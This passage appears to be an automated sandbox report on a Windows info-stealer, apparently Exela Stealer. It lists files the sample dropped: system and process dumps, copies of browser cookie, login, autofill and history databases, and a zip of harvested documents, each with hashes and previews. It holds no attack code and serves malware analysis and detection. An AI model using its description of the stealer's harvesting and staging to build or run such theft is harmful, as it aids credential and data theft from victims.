                                                                                                                                                                                                                                    Malicious:false
                                                                                                                                                                                                                                    Preview:----------------------https://t.me/ExelaStealer----------------------..======================================================================.....Image Name: System Idle Process...PID: 0...Session Name: Services...Session#: 0...Mem Usage: 8 K......Image Name: System...PID: 4...Session Name: Services...Session#: 0...Mem Usage: 176 K......Image Name: Registry...PID: 92...Session Name: Services...Session#: 0...Mem Usage: 82'292 K......Image Name: smss.exe...PID: 328...Session Name: Services...Session#: 0...Mem Usage: 1'260 K......Image Name: csrss.exe...PID: 412...Session Name: Services...Session#: 0...Mem Usage: 5'376 K......Image Name: wininit.exe...PID: 488...Session Name: Services...Session#: 0...Mem Usage: 7'288 K......Image Name: csrss.exe...PID: 496...Session Name: Console...Session#: 1...Mem Usage: 6'072 K......Image Name: winlogon.exe...PID: 556

                                                                                                                                                                                                                                    C:\Users\user\AppData\Local\Temp\19882742-CC56-1A59-9779-FB8CBFA1E29D\system_info.txt

                                                                                                                                                                                                                                    Download File
                                                                                                                                                                                                                                    Process:C:\Users\user\Desktop\9afaXJv52z.exe
                                                                                                                                                                                                                                    File Type:Algol 68 source, ASCII text, with CRLF, CR line terminators
                                                                                                                                                                                                                                    Category:dropped
                                                                                                                                                                                                                                    Size (bytes):144705
                                                                                                                                                                                                                                    Entropy (8bit):4.354328917810762
                                                                                                                                                                                                                                    Encrypted:false
                                                                                                                                                                                                                                    SSDEEP:1536:U8joX6mhzP3Z5OwXJF6Ebu02LZvzpSl79cTSIZ0tdHlwOYUBUgSgshWQCvYh/Uj3:U8aHn/
                                                                                                                                                                                                                                    MD5:3FC3EFC77842C993360AB3961273E42D
                                                                                                                                                                                                                                    SHA1:6F59AD82E7CF2EE21CA9F122C9CB416B177007A5
                                                                                                                                                                                                                                    SHA-256:79C0653B2D24820B069F9731F1114CB4EA9EA2FD0F87698F7BED02EA79B6D58B
                                                                                                                                                                                                                                    SHA-512:AF31E3805190CC989B10A08949C56D86F9979270049253A6FF44282E7AD78B60DE50B477D3633EAB918A47B3BCC276BE8371EA41C16E8C2F1C967170A41813A7
                                                                                                                                                                                                                                    Malicious:false
                                                                                                                                                                                                                                    Preview:----------------------https://t.me/ExelaStealer----------------------..======================================================================..####System Info#### ......Host Name: user-PC...OS Name: Microsoft Windows 10 Pro...OS Version: 10.0.19045 N/A Build 19045...OS Manufacturer: Microsoft Corporation...OS Configuration: Standalone Workstation...OS Build Type: Multiprocessor Free...Registered Owner: hardz...Registered Organization: ...Product ID: 00330-71431-70592-AAOEM...Original Install Date: 03/10/2023, 10:57:18...System Boot Time: 25/09/2023, 09:52:52...System Manufacturer: G6u4tRWyl1FGLK9...System Model: tmRUkZVC...System Type: x64-based PC...Processor(s): 2 Processor(s) Installed.... [01]: Intel64 Family 6 Model 143 Stepping 8 GenuineIntel ~2000 Mhz... [02]:

                                                                                                                                                                                                                                    C:\Users\user\AppData\Local\Temp\AutofillData.db

                                                                                                                                                                                                                                    Download File
                                                                                                                                                                                                                                    Process:C:\Users\user\Desktop\9afaXJv52z.exe
                                                                                                                                                                                                                                    File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 7, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 7
                                                                                                                                                                                                                                    Category:dropped
                                                                                                                                                                                                                                    Size (bytes):196608
                                                                                                                                                                                                                                    Entropy (8bit):1.1215420383712111
                                                                                                                                                                                                                                    Encrypted:false
                                                                                                                                                                                                                                    SSDEEP:384:r2qOB1nxCkvSAELyKOMq+8HKkjucswRv8p3:aq+n0E9ELyKOMq+8HKkjuczRv89
                                                                                                                                                                                                                                    MD5:9A809AD8B1FDDA60760BB6253358A1DB
                                                                                                                                                                                                                                    SHA1:D7BBC6B5EF1ACF8875B36DEA141C9911BADF9F66
                                                                                                                                                                                                                                    SHA-256:95756B4CE2E462117AF93FE5E35AD0810993D31CC6666B399BEE3B336A63219A
                                                                                                                                                                                                                                    SHA-512:2680CEAA75837E374C4FB28B7A0CD1F699F2DAAE7BFB895A57FDB8D9727A83EF821F2B75B91CB53E00B75468F37DC3009582FC54F5D07B2B62F3026B0185FF73
                                                                                                                                                                                                                                    Malicious:false
                                                                                                                                                                                                                                    Preview:SQLite format 3......@ .......Y...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                                                                                                                    C:\Users\user\AppData\Local\Temp\Cookies.db

                                                                                                                                                                                                                                    Download File
                                                                                                                                                                                                                                    Process:C:\Users\user\Desktop\9afaXJv52z.exe
                                                                                                                                                                                                                                    File Type:SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 7
                                                                                                                                                                                                                                    Category:dropped
                                                                                                                                                                                                                                    Size (bytes):20480
                                                                                                                                                                                                                                    Entropy (8bit):0.6732424250451717
                                                                                                                                                                                                                                    Encrypted:false
                                                                                                                                                                                                                                    SSDEEP:24:TLO1nKbXYFpFNYcoqT1kwE6UwpQ9YHVXxZ6HfB:Tq1KLopF+SawLUO1Xj8B
                                                                                                                                                                                                                                    MD5:CFFF4E2B77FC5A18AB6323AF9BF95339
                                                                                                                                                                                                                                    SHA1:3AA2C2115A8EB4516049600E8832E9BFFE0C2412
                                                                                                                                                                                                                                    SHA-256:EC8B67EF7331A87086A6CC085B085A6B7FFFD325E1B3C90BD3B9B1B119F696AE
                                                                                                                                                                                                                                    SHA-512:0BFDC8D28D09558AA97F4235728AD656FE9F6F2C61DDA2D09B416F89AB60038537B7513B070B907E57032A68B9717F03575DB6778B68386254C8157559A3F1BC
                                                                                                                                                                                                                                    Malicious:false
                                                                                                                                                                                                                                    Preview:SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                                                                                                                    C:\Users\user\AppData\Local\Temp\DownloadData.db

                                                                                                                                                                                                                                    Download File
                                                                                                                                                                                                                                    Process:C:\Users\user\Desktop\9afaXJv52z.exe
                                                                                                                                                                                                                                    File Type:SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 38, cookie 0x1f, schema 4, UTF-8, version-valid-for 1
                                                                                                                                                                                                                                    Category:dropped
                                                                                                                                                                                                                                    Size (bytes):155648
                                                                                                                                                                                                                                    Entropy (8bit):0.5407252242845243
                                                                                                                                                                                                                                    Encrypted:false
                                                                                                                                                                                                                                    SSDEEP:96:OgWyejzH+bDoYysX0IxQzZkHtpVJNlYDLjGQLBE3CeE0kE:OJhH+bDo3iN0Z2TVJkXBBE3yb
                                                                                                                                                                                                                                    MD5:7B955D976803304F2C0505431A0CF1CF
                                                                                                                                                                                                                                    SHA1:E29070081B18DA0EF9D98D4389091962E3D37216
                                                                                                                                                                                                                                    SHA-256:987FB9BFC2A84C4C605DCB339D4935B52A969B24E70D6DEAC8946BA9A2B432DC
                                                                                                                                                                                                                                    SHA-512:CE2F1709F39683BE4131125BED409103F5EDF1DED545649B186845817C0D69E3D0B832B236F7C4FC09AB7F7BB88E7C9F1E4F7047D1AF56D429752D4D8CBED47A
                                                                                                                                                                                                                                    Malicious:false
                                                                                                                                                                                                                                    Preview:SQLite format 3......@ .......&..................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                                                                                                                    C:\Users\user\AppData\Local\Temp\HistoryData.db

                                                                                                                                                                                                                                    Download File
                                                                                                                                                                                                                                    Process:C:\Users\user\Desktop\9afaXJv52z.exe
                                                                                                                                                                                                                                    File Type:SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 38, cookie 0x1f, schema 4, UTF-8, version-valid-for 1
                                                                                                                                                                                                                                    Category:dropped
                                                                                                                                                                                                                                    Size (bytes):155648
                                                                                                                                                                                                                                    Entropy (8bit):0.5407252242845243
                                                                                                                                                                                                                                    Encrypted:false
                                                                                                                                                                                                                                    SSDEEP:96:OgWyejzH+bDoYysX0IxQzZkHtpVJNlYDLjGQLBE3CeE0kE:OJhH+bDo3iN0Z2TVJkXBBE3yb
                                                                                                                                                                                                                                    MD5:7B955D976803304F2C0505431A0CF1CF
                                                                                                                                                                                                                                    SHA1:E29070081B18DA0EF9D98D4389091962E3D37216
                                                                                                                                                                                                                                    SHA-256:987FB9BFC2A84C4C605DCB339D4935B52A969B24E70D6DEAC8946BA9A2B432DC
                                                                                                                                                                                                                                    SHA-512:CE2F1709F39683BE4131125BED409103F5EDF1DED545649B186845817C0D69E3D0B832B236F7C4FC09AB7F7BB88E7C9F1E4F7047D1AF56D429752D4D8CBED47A
                                                                                                                                                                                                                                    Malicious:false
                                                                                                                                                                                                                                    Preview:SQLite format 3......@ .......&..................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                                                                                                                    C:\Users\user\AppData\Local\Temp\Logins.db

                                                                                                                                                                                                                                    Download File
                                                                                                                                                                                                                                    Process:C:\Users\user\Desktop\9afaXJv52z.exe
                                                                                                                                                                                                                                    File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 25, cookie 0xe, schema 4, UTF-8, version-valid-for 1
                                                                                                                                                                                                                                    Category:dropped
                                                                                                                                                                                                                                    Size (bytes):51200
                                                                                                                                                                                                                                    Entropy (8bit):0.8746135976761988
                                                                                                                                                                                                                                    Encrypted:false
                                                                                                                                                                                                                                    SSDEEP:96:O8mmwLCn8MouB6wzFlOqUvJKLReZff44EK:O8yLG7IwRWf4
                                                                                                                                                                                                                                    MD5:9E68EA772705B5EC0C83C2A97BB26324
                                                                                                                                                                                                                                    SHA1:243128040256A9112CEAC269D56AD6B21061FF80
                                                                                                                                                                                                                                    SHA-256:17006E475332B22DB7B337F1CBBA285B3D9D0222FD06809AA8658A8F0E9D96EF
                                                                                                                                                                                                                                    SHA-512:312484208DC1C35F87629520FD6749B9DDB7D224E802D0420211A7535D911EC1FA0115DC32D8D1C2151CF05D5E15BBECC4BCE58955CFFDE2D6D5216E5F8F3BDF
                                                                                                                                                                                                                                    Malicious:false
                                                                                                                                                                                                                                    Preview:SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                                                                                                                    C:\Users\user\AppData\Local\Temp\StealedFilesByExela.zip

                                                                                                                                                                                                                                    Download File
                                                                                                                                                                                                                                    Process:C:\Users\user\Desktop\9afaXJv52z.exe
                                                                                                                                                                                                                                    File Type:Zip archive data, at least v2.0 to extract, compression method=deflate
                                                                                                                                                                                                                                    Category:modified
                                                                                                                                                                                                                                    Size (bytes):17974
                                                                                                                                                                                                                                    Entropy (8bit):7.838702753364649
                                                                                                                                                                                                                                    Encrypted:false
                                                                                                                                                                                                                                    SSDEEP:384:nMoBJxdRGRuReR1ZR1UR1FShuP/mFUvOHuzx6uzx09Pd:zJMEeR1ZR1UR1FShuPOF/uz8uzmT
                                                                                                                                                                                                                                    MD5:F514BF82125E326B5B1F0CB94CBA5FFE
                                                                                                                                                                                                                                    SHA1:08DCA8DADA695260FB237A17D34E7E1EDF20A029
                                                                                                                                                                                                                                    SHA-256:1177139070E24BF4D790014CB49F7D92AD933CFC948DFD054538A0A6FCEFFFEA
                                                                                                                                                                                                                                    SHA-512:55BF4AB055ACD45269E4E50E3F73D5DDA9A0F4FB0DE2D88044DF586B6887D7A221DEC7EF06632BD87521EF23160F1CDED7CFC71778B0B692127C739E523667AE
                                                                                                                                                                                                                                    Malicious:false
                                                                                                                                                                                                                                    Preview:PK.........NEW.f;r............BQJUWOYRTO.mp3..I.@!.D....D.#N(... m......z@...YQ....J.Y.#..n..S.....\...o.aDsw.d..../..Sms3...G.u..%k\......A..-f.............L.{.......(0......F.Lu......M....*l.4Hi..Z........@5j%S*R9.R.....Q.+C'C7.h..*....>.+0_........$.WC;O..gUK'..Y.....Bn.Z.qU....\.Z.6...xjX6...K..e...Z.%..^8.X.l.y.C$...u.Q...3.r.....L.......l....&...K..ja.9H.,....m..~....F.id..*g...Ot..........k.....D...R..?......%0...a.,j/~/.U.....7s.v.v...B*.........Vm..J....d.Ai....R.... .C..(N..J...Gh%...).b...`5..d..>.K.KY..M.n.ER.z7.....!.py..-?[6.m.9.\.....Vi.a.[......R.......82P./..a\_x..~...z..Y.[K/.x\.%.~Q..q0s......UE_C..a.50..c^.K..){...B....w......PK.........NEWm?..............CZQKSDDMWR.docx..I.E!.E..E.7(v....RoH4...#.......+..$&.&..)...k....z..I.:{.....h...6..._.-.......{.U.DS'-u.k_.3..Vnsu.0.\zY.......L.N@B...K.r..N.u.....1..J.@L.)........Q....a.....|8..7g.kQ....4.....k.>..n....k.<...EO..g.YBY.v..>u.{a..?f.... t..}U..l1...r...E.....W.

                                                                                                                                                                                                                                    C:\Users\user\AppData\Local\Temp\StealedFilesByExela\BQJUWOYRTO.mp3

                                                                                                                                                                                                                                    Download File
                                                                                                                                                                                                                                    Process:C:\Users\user\Desktop\9afaXJv52z.exe
                                                                                                                                                                                                                                    File Type:ASCII text, with very long lines (1024), with CRLF line terminators
                                                                                                                                                                                                                                    Category:dropped
                                                                                                                                                                                                                                    Size (bytes):1026
                                                                                                                                                                                                                                    Entropy (8bit):4.68639364218091
                                                                                                                                                                                                                                    Encrypted:false
                                                                                                                                                                                                                                    SSDEEP:24:P4r5D4QctcBd3LMDzR8JwOlGpXSmDbvy5z5hu/KBdAmHtTQ:P49StmdbMfR8ApSmnvyXhuCBd3ts
                                                                                                                                                                                                                                    MD5:1D78D2A3ECD9D04123657778C8317C4E
                                                                                                                                                                                                                                    SHA1:3FAA27B9C738170AEE603EFAE9E455CA459EC1B7
                                                                                                                                                                                                                                    SHA-256:88D5FF8529480476CA72191A785B1CCDB8A5535594C125AF253823DD2DC0820E
                                                                                                                                                                                                                                    SHA-512:7EA58B30CB5FDA1C4D71DC65DF64FD9703E81DDCBAD9DA5B405CBBEACB9197A6E8B933C844289D7852801B6A5BC545C4234DD69E85F0AF640F5BC51BE5DDA12E
                                                                                                                                                                                                                                    Malicious:false
                                                                                                                                                                                                                                    Preview:BQJUWOYRTOLXZEKCXDLSWRNMFMCSYXRPFWPCFOMLTXRLOYSWDYNKGJBBEKHPTUBSJDZWIUKDQVTQQAEIJPJKOPTWULSKKXLSOLVYRREVXVSZLFQQBXKKCMYLLBRWPJMBHNBFTQUBUPFYXLIARNGQLIDNRZYVXHIWZXDZUYNJJXBTDFJWBKWCQQGPRFDTAZULKSSEFZTUDJOKODZLAIWAICBXNPXUMZFRUVBQDJIENEPBRWTDBODAVKDNOLRNYNBKKQBPGBUTIJCMZXSCKDRZIHJDDUPOXQOJQXAOMBHVIUUZBSRKPYCRBAHBBGKXGMODRWMTAMVEFAPKYMHWCUCKKJSLQYPIMPYZKZKPIXSZAPTLQLZGQHTXZBXONOWDVDWQMPDILYOIVFKXBUSTSFUGKZZBFUUTDDOMVPOINIMBFTSGRRDLSLPUXATPQGHCHIJRAGXNYBQOTZSNMAZCEDHOUMBJWJSCXGDMRQCIYNBQTBGKDTCTKRJCRXWGYTZRFYVOFBTBDYLRCDVRFBCHFMPWSBHHWRRLBRKCLDQRSMCLVZAGFMWLPHYJGALXNLZXJVWWXBFHYIZDZFXDBTHZKRDQBGOXOULNHYYUXXATXCLPLWIUBSSSLNJBTSMXAWVUVUVKDAOHXCIVGHJLVIETMJMFWUZTFVNALCFBKNUVWGXUEPDHVHGOBZRVOPDFCORECRQJIXMUFIACDLBMTHCLLXOISHLMFTEBKUAICYBSNGCASKNQBLIPLSIPNJTWJLGARSXDGLOKVQSUASJSIRFNLKQTPVOVXSGKMXEEUVWMULGSMRQRMICWPXBVELHRSUIIUSGMSRWNPMSLNFKZWDRGGAVGKNPMSZMHRWAKTDXUHZPMIYCRABYQLAAVOSTLMEJGFHJSMBRQBEICTCXKKZHNUWSZMQZHAMPRHAWDVATODUFFRHCHJYGQZNMBWVRFZTJLSUUUMCUEOZEUMCJAOLHOIJTNPLJBASLIHCUCMVTUNIOK

                                                                                                                                                                                                                                    C:\Users\user\AppData\Local\Temp\StealedFilesByExela\CZQKSDDMWR.docx

                                                                                                                                                                                                                                    Download File
                                                                                                                                                                                                                                    Process:C:\Users\user\Desktop\9afaXJv52z.exe
                                                                                                                                                                                                                                    File Type:ASCII text, with very long lines (1024), with CRLF line terminators
                                                                                                                                                                                                                                    Category:dropped
                                                                                                                                                                                                                                    Size (bytes):1026
                                                                                                                                                                                                                                    Entropy (8bit):4.700739677288544
                                                                                                                                                                                                                                    Encrypted:false
                                                                                                                                                                                                                                    SSDEEP:24:ppydEKvTSBiqFHi8v+wyNV+fxloGJjN3y5j1xTEC3ugbIvso8wFjas:rmEKvMiYC8Wwyr88GFAH/UvsuZl
                                                                                                                                                                                                                                    MD5:57582F5B6AE65D8DFCBD4A26382C6138
                                                                                                                                                                                                                                    SHA1:DC27AD5E54D1BDCCA4EC0D54ED1FB5A3235E9842
                                                                                                                                                                                                                                    SHA-256:7918D6E76741E42934BB32547E2D7EA395304AEA3383C0E6B7FCF82ACE125749
                                                                                                                                                                                                                                    SHA-512:6D75F68E608CB12378605F06C74F2F0414486072CC25961A1EA421B94EA5827F92110B902C2190E04AAE2D79152B0AB9B5B1ACECDCAAADD93A6F25028DD1E060
                                                                                                                                                                                                                                    Malicious:false
                                                                                                                                                                                                                                    Preview:CZQKSDDMWRVXFLQDZCLIIZCHKUTASMCLXARWUFPBFEESBCKPMBKHTZOAVUSGWGQBPZXNCLVHGKNWOAOTOSOFYOKUZEGHVYFBBGTMFWOOTOTSLTKZBTPTBZMUKYOSGWCRRYGDZWOEMUMCRRCZIEIYJAYGXMDKNOLEIKRXPEZKZGIXGYJYIBDXPZGYVGHMUCSHXXAYXQQNWIVOLMGKTXTGEAEKAOKQQSCTUWFEFQMLQUREMQDBYWFEQOMAJXVXIMMKWJJFKSSTMQZNWPBIQBZROXFYPWCYBVRMKUOGMEJJHYTWCOZYZXVANCHSTYZHRBVSORLGLSOWPDGEBVMQLDWKSLQFPEZDXWPZYNPSNTKGPNKUHFMAEGDWSDLCDNYFQZWURNIMQZDJNJPPOXINSGMUVHRDBWXOXDRPWKGITAKUVBIDIBIWIIANONNQUMKNATQWTVSOUCLOFKCCAISNABSKDPLNCYIQIFQMVEHZLIAFYDDSJJTQSUEVQKACGQHHXCYTZJABESDNXLIPGYKWXJZQWYJMSZUZHKYCGKQIKCYIWZOHAVHKCRNACDVNLPEXUPOQVKBGVFKCQDKJPNALRMAYMZRBAGMTICYZEFMXXYLDXTMKSZLDKSKSRQTDUDGFZXFQEHEDXVFBYBNEOVKFLNIRSTGZDIJXNRZEZFJHNPZDGPGECJTHNVMTSURANVWOVRBTYGZGIPOXWTRIHNKWFKCTXVVKOFHISZVHNVVRXJGJEZEJDSCKNIDUQYQWFNDXBQQJAYENVZXKXVUERYEPFEGNWBAJHHQSAFTHXGXMHUHJVQEYGVKPBTQMWUEZMBBSFENGBBVZIYHLXFRDPALQUURINJMTQGTPGJRGIWXIXWOPVDTWDBDNJJVXOPMTWAGMWQFUPMRROBBTRTOQBMZKPGWTYPWAVOKTSPLMOWJJDVZIIDATCEGNLHPVRONAQJFLFUZXJVRXMCGQNRKTYBRGRMKBPVPQSPFOIOHXGEGDHOJP

                                                                                                                                                                                                                                    C:\Users\user\AppData\Local\Temp\StealedFilesByExela\DQOFHVHTMG.png

                                                                                                                                                                                                                                    Download File
                                                                                                                                                                                                                                    Process:C:\Users\user\Desktop\9afaXJv52z.exe
                                                                                                                                                                                                                                    File Type:ASCII text, with very long lines (1024), with CRLF line terminators
                                                                                                                                                                                                                                    Category:dropped
                                                                                                                                                                                                                                    Size (bytes):1026
                                                                                                                                                                                                                                    Entropy (8bit):4.702862417860716
                                                                                                                                                                                                                                    Encrypted:false
                                                                                                                                                                                                                                    SSDEEP:24:JCmIDeBF63lGj/+QvH8n8JCl7odrVgKqBP68iz:4QQQvHFrTqBPXiz
                                                                                                                                                                                                                                    MD5:CC0686FCDF6617729D1EDF30F49501F1
                                                                                                                                                                                                                                    SHA1:02D629848E3D467D8143B057F003E0D7448126CD
                                                                                                                                                                                                                                    SHA-256:31E15305BC0579F03C51A1D6534B332F32C73ABC6D1B68BA0BDA6FCF97F593C9
                                                                                                                                                                                                                                    SHA-512:8BD18EB486BA6D2799329D9A8EFB3F52C3D109F5CB070290418DDE4B58756CD023857E4CAE62323C530FA0D3A60372C97D9744C1911A688D3592EABD14005F25
                                                                                                                                                                                                                                    Malicious:false
                                                                                                                                                                                                                                    Preview:DQOFHVHTMGONGZJMTUDJRBBZMRPVREMYHKGEHFUQYXZCSKHYXSDQYNTHYMAXXVSVAUOGMFIYPDCQLTHSECIYLWTRIBFEAYHUXINIFQBTJDZMINEEJPQYKGEESHWZILKBYECTPQSECVJBFSZOCCSNOVPIAHSFZWVXPNEQGUOXWPBXJRUYFARJLNHPVXAJZAMAADRKIWNDXYEBYMEBSXOJGEOURNOIBBLONDSVHAOQHPMGXZYJJTGITBJPQEBNXGZYUKARGBCVCJUHSRNNEVOIGUVCJVMNFBKNVZYQADNKMLUVPOTXVOQFRBXUSSRFMQEZCJFQXKCGKGKCVGGVBKNPTNSSMADFJLSDMVXHSOETKCENTGLOVOHUYJFTIWFHKFJRYNOXVIGPLHNBFPFOCWMNOQXWIPYAHPKRVTBFYKRBDVDUAZBSLWPPMXJXDVRCRPKOGCUKNZKBLJGIGZASUAZBLZBMGJSBNQSVTMGEWGLMNJKCSBEAGDUINAXDWMHJASNQRRDMKVXOKATATHRLEOJRPCUOAVQIESHZYWIQCSCAPIAJHBTEIYVRFEDCQDCDIYPMQVBWUEHDPIDAGKYZBMLBDUTEIFYLBSHAWEMNTPQDCSTOWSBZWQEBLVBNUWKZFUDMPBKETDOEOIXRFTDUFIBPBSUHXQTCPRPZAKDTRWMGSAVOZBNDDMDIHBSGIPOMYLKSGKUWRGKNXSOLUZDUZYQFQTKMNWLSYKVAQVIHJTFYNRTERQMIRVMLNWEIMHPIWEWIZJJRGOCBVHFGCSCPAIQYTEMYIQJKVUFAZERTMPUQSRHOZHOYABIALCSKDKHEDHJGKBYVCDZGPYPCLDCEFHWFMLSBOUUGKJFXSVKJVYVTSMIZISSWNRRWBNOMXZCOJAULXRXTNHTYWTZNFOKXVGZMTRVOSMSRMYBHKSHRCPZSSMDBJOTQQRGYIHEMZHHSWECVAOPVNLGBYHZVZPLQHOTCJNPUXICWZBLKAQFGUZPW

                                                                                                                                                                                                                                    C:\Users\user\AppData\Local\Temp\StealedFilesByExela\FAAGWHBVUU.mp3

                                                                                                                                                                                                                                    Download File
                                                                                                                                                                                                                                    Process:C:\Users\user\Desktop\9afaXJv52z.exe
                                                                                                                                                                                                                                    File Type:ASCII text, with very long lines (1024), with CRLF line terminators
                                                                                                                                                                                                                                    Category:dropped
                                                                                                                                                                                                                                    Size (bytes):1026
                                                                                                                                                                                                                                    Entropy (8bit):4.696563923881884
                                                                                                                                                                                                                                    Encrypted:false
                                                                                                                                                                                                                                    SSDEEP:24:5/VaDtnzLQ+f43tOT8I+KwurMekIRdXEt5L3tYor2Xp2CpvirtyrRofz/:hVaDQ3t9I+AFlXE7L3yLprvMEaD
                                                                                                                                                                                                                                    MD5:CD90073A050D84BFC07DF7516A76BE8F
                                                                                                                                                                                                                                    SHA1:5BA173F226A697FF62B1208D33B3BACA3B2EFC1D
                                                                                                                                                                                                                                    SHA-256:8E77CEDA3994BC3AD371B51807B7B77A08F2F5A3A232C0991C4763C9B2E78E13
                                                                                                                                                                                                                                    SHA-512:A07B25F8DB5B2E680122920BBDCFB6138ACD8856F203A447ED6E63E2411388567CC7ADB1C2DC2F9B87C7DCFD9671D1EAC8CB9FF9BB10677806755D739478C328
                                                                                                                                                                                                                                    Malicious:false
                                                                                                                                                                                                                                    Preview:FAAGWHBVUUTPYVPHIDCKTSBBSJUWTPUSSQPMHQUEMEBFCRWOAGJBQFMXAGBRPPFMHYWZIVRYBYMLKSXBSVILBCREELIWCKXNLCFIWEZDKMNCFDFOVWLODVKQDZGKMNYKLEHRBLUSDVAZUPAREKTGWPSMEKUFMSLHXIKBIKFPKZTPIOVIWVCVEJBCECJMVZRWUFQKCHCDYMYSSNRYBTIYNJWBANTLSHUBWBRJPBZZNLFWUYJYBZIFPLPPSEZPOWEXVUHUJVJASMBCBQBMFYQHVFSDQVYOLOSARXZKXXONRBTMLGOTIENUWCOGJDANHCVTLBZKPLVIFICSYNNJDATITDCBHEATBFVVWLYLVGPXPBNVZHSPQOQVQNCQYBVJOQWIXIWBKDYYWBPNGFVJXXNBRMGKWWJYWGWBHIUEODZOQXRSLBZXJJPRVPCNTLVWWBLEVZTISPLUBADWNHYMMXYQUJWRECXAWEMKHIFYNPSWFNBKCKBCJAGWZVXGZAWQINZMAFPDGCTHXKXRDHWVKCCJQPZXLYTVPZLRVZELUVGBKPPWVPJNXPRLEEVEFJWIGEUIFCYFGOVZGYDSCDAQRMYJZQFYVLTANLMTLPXDPETVFGVJLPLKVCVPQFBHOXQRDYDIFYETSNYPWEVULVONZZBKSGIAZAMTXYMWISOFKQROAOZARHYXANJYXEXTERVKOFUSRDEHZCDOFBQMVCBXCHWUZOHSBRMBBAQNTBQIBXGWVMOGTTGSTIUIDNQZDCFUCSMZVEQTTRYGONMNKOUSVTNBMJXKCOXBLVQHFAAKIGBNDXZNYXNNSSESCPRHGMHBRSZZNJNGYXTMEQKCQQIYVDWDVXKEWBNJQQHOWQHHBAFFHTQLQQDBFVCGIUCNYMRAKDUTKSGMARKQACHUFYEGEUWZGJIPGBFYMIYONLAVYEOXUFICGTJCCRVOHBQQWRVQLRQIKKBTSDUERUZYUBPRBMCDSNKSKJAOCQNYWMDZDCEF

                                                                                                                                                                                                                                    C:\Users\user\AppData\Local\Temp\StealedFilesByExela\GLTYDMDUST.docx

                                                                                                                                                                                                                                    Download File
                                                                                                                                                                                                                                    Process:C:\Users\user\Desktop\9afaXJv52z.exe
                                                                                                                                                                                                                                    File Type:ASCII text, with very long lines (1024), with CRLF line terminators
                                                                                                                                                                                                                                    Category:dropped
                                                                                                                                                                                                                                    Size (bytes):1026
                                                                                                                                                                                                                                    Entropy (8bit):4.69569301223482
                                                                                                                                                                                                                                    Encrypted:false
                                                                                                                                                                                                                                    SSDEEP:24:P1aJ3UFXnPRRqJn5Ao7J4kXjiut748cX3Gg6hQk:P1aWFX5RQnAuh48cHGg6hQk
                                                                                                                                                                                                                                    MD5:CA404BEA65D84F58838AF73B2DC67E02
                                                                                                                                                                                                                                    SHA1:56EDE3A3BF70705B1D42A2AE13F6605057C1E5F6
                                                                                                                                                                                                                                    SHA-256:4A28C898DF5967827C26FD633CD56275159EF4C4C0193E484E8E8F3E9ECC66B9
                                                                                                                                                                                                                                    SHA-512:10C144317CDB5A368733346EB8440A986A377916F98BE0E8232E668A8C5E107E06829ADF575751B94D0B0AA37F4CAC48DBD7BC64FFE8DCB140FB033C00CEC721
                                                                                                                                                                                                                                    Malicious:false
                                                                                                                                                                                                                                    Preview:GLTYDMDUSTFARDVTDTOSUXWTZPBTWYSDUWRWNQMOYZIOPMOCUVTIJOHJYLHKBCEDWQBIYLQPLFXNZVXOZBIBDNIIHCNZHRIZBCANIAZPBFFJNXGCWLILIHHCYJHZSFIZUUDHFLQEWBBOMWJOZCKSAOAVKAWDPLPLVPHHMTSMKFCHYLMZJYKTJZUGPCSSVJJOKBWSTSLHJSIZZNIHOVEXPMQSKABHGSGHFUWVNTWTGYCLXOQEPAIEYRMLWJNNZHEPKXAHFKJUQHDHBHMPKXFCHXQYMICUKIVHNMPIJURPFBDBUQWHFTUVKPWMJHVOENGHYYNPMJPLPTQKABBVHNTLFXAJUISPUCEXPQFWXNQKGLSPRPJEAIJQZNYNOWAKNLRQHQRIOFXWLXEJZPOKNRPRZQJIGYXOWWZDFNURUOTFOOSKCNYLZXJZIWHYYUTOQRDTTRMPEMHZSRVZISBDQKRQYXAZOKOCTHUJKZWNHJSEMHTCSKCARZUYORNVIXVWTGAWUONMQVDITNHLNLJNREIEBPKELOMXBMEUBFTSVSGBVXSXHICRIGHIFVXWPXMIKKKCBOFCJGKJYZJDAWFCHWCNIMOPOPYUXDESMSSFNZBKRVTKTFPFGCIMVLKPBRKBRZJRHIYUQFAFEODGJZAXKRAFGTBXKKKTOXYTJBCHZWBDPBSBRTICVTUOWNEXJIZFESQAIMINDZJFLHIQSMVIICPGSEVSLVSVPMBXUGAPVVXVNJEBHRRBRPIHKGVJJDRANYKMMFJJBFPKFDJAROFBZANTWLCLSELNCCDRQUPZIMXLCVFZOFWKZYXCLQVRUFHUTIFPNWERRWWXHSVZHEYMHULWKGIIWKBRWODYKIGEPXGOEZXMJVKVNTEOQXZBOZBXYKMUGZUYMELGGHJJVDPONTLTQGITEMXYMMOGRWMQDUHIGHPJWPGIEZDZPFZHQMQKLTBUGJXLBLEGTFQZOXBPYRZFHNMZGVZGRAKFYTWDWWKV

                                                                                                                                                                                                                                    C:\Users\user\AppData\Local\Temp\StealedFilesByExela\GLTYDMDUST.xlsx

                                                                                                                                                                                                                                    Download File
                                                                                                                                                                                                                                    Process:C:\Users\user\Desktop\9afaXJv52z.exe
                                                                                                                                                                                                                                    File Type:ASCII text, with very long lines (1024), with CRLF line terminators
                                                                                                                                                                                                                                    Category:dropped
                                                                                                                                                                                                                                    Size (bytes):1026
                                                                                                                                                                                                                                    Entropy (8bit):4.69569301223482
                                                                                                                                                                                                                                    Encrypted:false
